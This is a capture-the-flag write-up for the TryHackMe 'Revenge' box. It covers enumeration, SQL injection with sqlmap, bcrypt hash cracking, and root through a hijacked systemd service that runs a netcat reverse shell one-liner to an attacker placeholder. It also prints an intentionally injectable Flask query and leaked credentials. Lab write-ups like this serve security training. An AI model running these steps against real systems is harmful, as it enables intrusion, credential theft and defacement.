TryHackMe Revenge Writeup

This writeup will help you solve the Revenge box on TryHackMe.com. The box is a sequel to the Blog box also available on the TryHackMe.

TryHackMe Revenge – Enumeration

Normally our goal would be to gain root access and get the root flag, but this box is a little different. We find a txt file which tells us that we have to deface the site this time. To do so, we still need access to the machine. As usual, we start by scanning for open ports on the box. Add the box to your hostfile by runninng:

echo "<box_ip> revenge.thm >> /etc/hosts"

Or add the IP + domain manually to the /etc/hosts file. Now run the port scan by using nmap

nmap -sV -sC revenge.thm

The sC flag is used to run some default vulnerability scripts and the sV flag is used to determine the version of the services. The output is shown below:

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 72:53:b7:7a:eb:ab:22:70:1c:f7:3c:7a:c7:76:d9:89 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBiHOfDlVoYCp0+/LM7BhujeUicHQ+HwAidwcp1yMZE3j6K/7RW3XsNSEyUR8RpVaXAHl7ThNfD2pmzGPBV9uOjNlgNuzhASOgQuz9G4hQyLh5u1Sv9QR8R9udClyRoqUwGBfdNKjqAK2Kw7OghAHXlwUxniYRLUeAD60oLjm4uIv+1QlA2t5/LL6utV2ePWOEHe8WehXPGrstJtJ8Jf/uM48s0jhLhMEewzSqR2w0LWAGDFzOdfnOvcyQtJ9FeswJRG7fWXXsOms0Fp4lhTL4fknL+PSdWEPagTjRfUIRxskkFsaxI//3EulETC+gSa+KilVRfiKAGTdrdz7RL5sl
|   256 43:77:00:fb:da:42:02:58:52:12:7d:cd:4e:52:4f:c3 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNNoSioP7IDDu4yIVfGnhLoMTyvBuzxILnRr7rKGX0YpNShJfHLjEQRIdUoYq+/7P0wBjLoXn9g7XpLLb7UMvm4=
|   256 2b:57:13:7c:c8:4f:1d:c2:68:67:28:3f:8e:39:30:ab (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEpROzuQcffRwKXCOz+JQ5p7QKnAQVEDUwwUkkblavyh
80/tcp open  http    syn-ack nginx 1.14.0 (Ubuntu)
|_http-favicon: Unknown favicon MD5: E859DC70A208F0F0242640410296E06A
| http-methods: 
|_  Supported Methods: HEAD OPTIONS GET
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Home | Rubber Ducky Inc.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Port 22 and 80 are open, which shows us that a web server and a SSH server is running. We are not able to exploit the SSH server yet, so let’s start by enumerating the Apache web server.

TryHackMe Revenge – Apache Web Server

The homepage shows us a seller of rubber ducks! The contents of the homepage can be seen below:

TryHackMe Revenge web server

Some default pages are available for us to visit, but nothing stands out of the ordinary. Let’s try to run gobuster in order to find more directories or files on the web server. Run:

gobuster dir -u http://revenge.thm/ -w /usr/share/wordlists/directory-list-2.3-medium.txt -x 'txt'

Note that we are using the following list. Please make sure you use this list as well. The output is shown below:

/index (Status: 200)
/contact (Status: 200)
/products (Status: 200)
/login (Status: 200)
/admin (Status: 200)
/static (Status: 301)
/requirements.txt (Status: 200)

The most interesting file here is the requirements.txt file. This file indicates that we are running a Python application. Access the file by visiting it in your browser. You will find the following output:

attrs==19.3.0
bcrypt==3.1.7
cffi==1.14.1
click==7.1.2
Flask==1.1.2
Flask-Bcrypt==0.7.1
Flask-SQLAlchemy==2.4.4
itsdangerous==1.1.0
Jinja2==2.11.2
MarkupSafe==1.1.1
pycparser==2.20
PyMySQL==0.10.0
six==1.15.0
SQLAlchemy==1.3.18
Werkzeug==1.0.1

Our initial thoughts were correct! This is a Python Flask application. We can extend our gobuster command by searching for Python files as well:

gobuster dir -u http://revenge.thm/ -w /usr/share/wordlists/directory-list-2.3-medium.txt -x 'txt,py'

The output is shown below:

/index (Status: 200)
/contact (Status: 200)
/products (Status: 200)
/login (Status: 200)
/admin (Status: 200)
/static (Status: 301)
/app.py (Status: 200)
/requirements.txt (Status: 200)

Interesting! The app.py file is available. Let’s get the contents of this file by accessing it in the browser:

from flask import Flask, render_template, request, flash
from flask_sqlalchemy import SQLAlchemy
from sqlalchemy import create_engine
from flask_bcrypt import Bcrypt

app = Flask(__name__)

app.config['SQLALCHEMY_DATABASE_URI'] = 'mysql+pymysql://root:PurpleElephants90!@localhost/duckyinc'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False

db = SQLAlchemy(app)
bcrypt = Bcrypt(app)


app.secret_key = b'_5#y2L"F4Q8z\n\xec]/'
eng = create_engine('mysql+pymysql://root:PurpleElephants90!@localhost/duckyinc')


# Main Index Route
@app.route('/', methods=['GET'])
@app.route('/index', methods=['GET'])
def index():
    return render_template('index.html', title='Home')


# Contact Route
@app.route('/contact', methods=['GET', 'POST'])
def contact():
    if request.method == 'POST':
        flash('Thank you for reaching out.  Someone will be in touch shortly.')
        return render_template('contact.html', title='Contact')

    elif request.method == 'GET':
        return render_template('contact.html', title='Contact')


# Products Route
@app.route('/products', methods=['GET'])
def products():
    return render_template('products.html', title='Our Products')


# Product Route
# SQL Query performed here
@app.route('/products/', methods=['GET'])
def product(product_id):
    with eng.connect() as con:
        # Executes the SQL Query
        # This should be the vulnerable portion of the application
        rs = con.execute(f"SELECT * FROM product WHERE id={product_id}")
        product_selected = rs.fetchone()  # Returns the entire row in a list
    return render_template('product.html', title=product_selected[1], result=product_selected)


# Login
@app.route('/login', methods=['GET'])
def login():
    if request.method == 'GET':
        return render_template('login.html', title='Customer Login')


# Admin login
@app.route('/admin', methods=['GET'])
def admin():
    if request.method == 'GET':
        return render_template('admin.html', title='Admin Login')


# Page Not found error handler
@app.errorhandler(404)
def page_not_found(e):
    return render_template('404.html', error=e), 404


@app.errorhandler(500)
def internal_server_error(e):
    return render_template('500.html', error=e), 500


if __name__ == "__main__":
    app.run('0.0.0.0')

TryHackMe Revenge – SQL injection

Nice, the code is available! There is even a comment included which indicates that this web application is vulnerable for SQL injections. The vulnerable link is:/products/<product_id>. We will use sqlmap in order to perform a SQL injection on the web server. Run the following command:

sqlmap -u http://revenge.thm/products/1 --dbs

We are in luck. After a moment we obtain all the databases. The databases are shown below:

available databases [5]:                                                       
[*] duckyinc
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys

This confirms that the server is vulnerable for SQL injection attacks. We can now continue to acquire valuable information out of the database. the next step is to get the tables of the duckyinc database. Run the following command to get them:

sqlmap -u http://revenge.thm/products/1 -D duckyinc --tables

This results in the following tables:

+-------------+
| system_user |
| user        |
| product     |
+-------------+

The most interesting table is system_user. Dump the contents of this table by running the following sqlmap command:

sqlmap -u http://revenge.thm/products/1 -D duckyinc -T system_user --dump

The output is shown below:

+------+----------------------+--------------+--------------------------------------------------------------+
| id   | email                | username     | _password                                                    |
+------+----------------------+--------------+--------------------------------------------------------------+
| 1    | [email protected]  | server-admin | $2a$08$GPh7KZcK2kNIQEm5byBj1umCQ79xP.zQe19hPoG/w2GoebUtPfT8a |
| 2    | [email protected] | kmotley      | $2a$12$LEENY/LWOfyxyCBUlfX8Mu8viV9mGUse97L8x.4L66e9xwzzHfsQa |
| 3    | [email protected] | dhughes      | $2a$12$22xS/uDxuIsPqrRcxtVmi.GR2/xh0xITGdHuubRF4Iilg5ENAFlcK |
+------+----------------------+--------------+--------------------------------------------------------------+

The first flag is located in the database as well. You can dump the user table to find the first flag.

TryHackMe Revenge – User Flag

We got several system users combined with some bcrypt hashes. We now use hashcat in order to crack the hash.
Save the first hash in a text file named hash.txt. Now execute the following commmand:

hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt

Note: By providing -m 3200, we tell hashcat that the hash is a bcrypt hash.

Wait a moment. We are in luck! We found a valid password. Now use this password to log in to the SSH server.

ssh [email protected]

server-admin@duckyinc:~$ 

And we are in! The second flag (the user flag) is located in the current directory.

TryHackMe Revenge – Root Flag

By running sudo -l we can find some commands which we are allowed to execute:

Matching Defaults entries for server-admin on duckyinc:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User server-admin may run the following commands on duckyinc:
    (root) /bin/systemctl start duckyinc.service, /bin/systemctl enable duckyinc.service, /bin/systemctl restart duckyinc.service, /bin/systemctl daemon-reload, sudoedit
        /etc/systemd/system/duckyinc.service

It seems like we have full control over the duckyinc.service. By running:

sudoedit: /etc/systemd/system/duckyinc.service

We are able to completely edit the service. After running sudoedit you can edit the service. Change the content of the service to the following:

[Unit]
Description=Reverse Shell

[Service]
User=root
Group=root
ExecStart=/bin/bash /tmp/shell.sh
ExecReload=/bin/kill -s HUP $MAINPID
ExecStop=/bin/kill -s TERM $MAINPID

Create the shell by creating /tmp/shell.sh. and put in the following contents:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <attacker_ip> 9001 >/tmp/f

Then start a netcat listener on your attacking machine by running:

nc -lvnp 9001

Then on the box: run the following commands:

sudo /bin/systemctl daemon-reload
sudo /bin/systemctl enable duckyinc.service
sudo /bin/systemctl start duckyinc.service

And we got a root shell! To improve the shell stability, please use the following commands:

python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm-256color

(ctrl+z)
stty raw -echo;fg
(enter)
(enter)

You are now root! Normally the flag would be located at the /root/root.txt location. However, the story of this box is not yet complete. We still have to deface the site! Change user to www-data (since this is the user which owns the web server). Do this by running:

su -s /bin/bash www-data -l
cd duckyinc/templates

You can edit one of these files! Be creative and change whatever you want on this site. Save and view your changes. Exit from the www-data user and check the contents of the /root folder. Now the flag3.txt file exists. This file contains the final flag!

This was a fun box to complete! It contained a simple SQL injection on a GET request. One should be careful to not include vulnerable code inside their code! Furthermore, I learned to create my own linux service in order to elevate privileges.

Leave a Reply

Your email address will not be published. Required fields are marked *